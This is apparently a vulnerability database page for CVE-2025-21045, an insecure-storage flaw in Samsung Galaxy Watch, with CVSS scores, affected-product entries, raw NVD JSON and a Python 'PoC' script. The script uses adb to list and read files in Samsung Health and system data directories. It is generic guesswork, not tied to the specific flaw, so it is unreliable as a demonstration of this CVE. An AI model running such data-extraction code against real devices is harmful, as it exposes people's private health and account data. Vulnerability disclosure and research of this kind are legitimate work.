Security Vulnerability Report
中文
CVE-2025-21045 CVSS 4.0 MEDIUM

CVE-2025-21045

Published: 2025-10-10 07:15:40
Last Modified: 2026-01-09 18:11:58

Description

Insecure storage of sensitive information in Galaxy Watch prior to SMR Oct-2025 Release 1 allows local attackers to access sensitive information.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:wear_os:5.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:galaxy_watch:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:samsung:galaxy_watch_4:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:samsung:galaxy_watch_4_classic:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:samsung:galaxy_watch_5:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:samsung:galaxy_watch_5_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Samsung Galaxy Watch < SMR Oct-2025 Release 1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21045 PoC - Galaxy Watch Insecure Sensitive Information Storage # This PoC demonstrates how a local attacker could access sensitive information # stored insecurely on Samsung Galaxy Watch devices prior to SMR Oct-2025 Release 1. import subprocess import os # Step 1: Check if device is accessible via ADB (local access required) def check_device_access(): """Verify local access to the target Galaxy Watch device""" result = subprocess.run(['adb', 'devices'], capture_output=True, text=True) return 'device' in result.stdout # Step 2: Attempt to access potentially vulnerable storage paths # Galaxy Watch may store sensitive data in various locations vulnerable_paths = [ '/data/data/com.samsung.health/databases/', # Samsung Health data '/data/data/com.samsung.android.app-watchmanager/', # Watch Manager data '/data/system/users/0/', # User system data '/data/local/tmp/', # Temporary storage '/sdcard/Android/data/com.samsung.health/', # Health data on SD card ] def enumerate_sensitive_files(): """Enumerate files in vulnerable storage locations""" sensitive_files = [] for path in vulnerable_paths: try: # Use adb shell to list files in potentially vulnerable directories result = subprocess.run( ['adb', 'shell', 'find', path, '-type', 'f'], capture_output=True, text=True, timeout=10 ) if result.stdout: sensitive_files.extend(result.stdout.strip().split('\n')) except Exception as e: print(f"Error accessing {path}: {e}") return sensitive_files # Step 3: Extract readable content from discovered sensitive files def extract_sensitive_data(files): """Attempt to read content from discovered files""" extracted_data = {} for filepath in files[:20]: # Limit to first 20 files for demonstration try: result = subprocess.run( ['adb', 'shell', 'cat', filepath], capture_output=True, text=True, timeout=5 ) if result.stdout and len(result.stdout) > 0: extracted_data[filepath] = result.stdout[:500] # Truncate output except Exception: pass return extracted_data # Main execution if __name__ == "__main__": if check_device_access(): print("[*] Device accessible. Searching for sensitive information...") files = enumerate_sensitive_files() print(f"[*] Found {len(files)} potentially sensitive files") data = extract_sensitive_data(files) print(f"[*] Successfully extracted data from {len(data)} files") for filepath, content in data.items(): print(f"\n[+] File: {filepath}") print(f" Content preview: {content[:100]}...") else: print("[-] No accessible device found. Local access required.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21045", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:39.517", "lastModified": "2026-01-09T18:11:58.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insecure storage of sensitive information in Galaxy Watch prior to SMR Oct-2025 Release 1 allows local attackers to access sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-922"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:wear_os:5.0:*:*:*:*:*:*:*", "matchCriteriaId": "60AD2A4D-9915-41E5-BC98-92B43FD013ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch:-:*:*:*:*:*:*:*", "matchCriteriaId": "978A382D-C441-4463-9B16-F6BE7E4E0527"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_4:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B7CB402-94B7-494B-B527-AF7224257D16"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_4_classic:-:*:*:*:*:*:*:*", "matchCriteriaId": "EE4113D9-FDB3-42B3-84FB-5708E255E9A1"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_5:-:*:*:*:*:*:*:*", "matchCriteriaId": "C0FBE6B7-1633-40ED-B6FB-6E2AFCC49FB4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_5_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "DF3600A1-87FC-4288-B45E-5819C42608D5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_6:-:*:*:*:*:*:*:*", "matchCriteriaId": "1937C6F7-8634-4825-ABFC-218DEFFFC2E7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_6_classic:-:*:*:*:*:*:*:*", "matchCriteriaId": "3EDAFF12-E8DD-4A30-A28C-245CE283EC80"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_7:-:*:*:*:*:*:*:*", "matchCriteriaId": "5B2F17A5-E4EA-4A6B-BE76-575C82E4308D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_fe:-:*:*:*:*:*:*:*", "matchCriteriaId": "1C5FAF84-EF64-4E15-A211-72274A1EABA5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:samsung:galaxy_watch_ultra:-:*:*:*:*:*:*:*", "matchCriteriaId": "AC6A3702-DCD4-4C97-9F07-D35959A29EE1"}]}]}], "references": [{"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}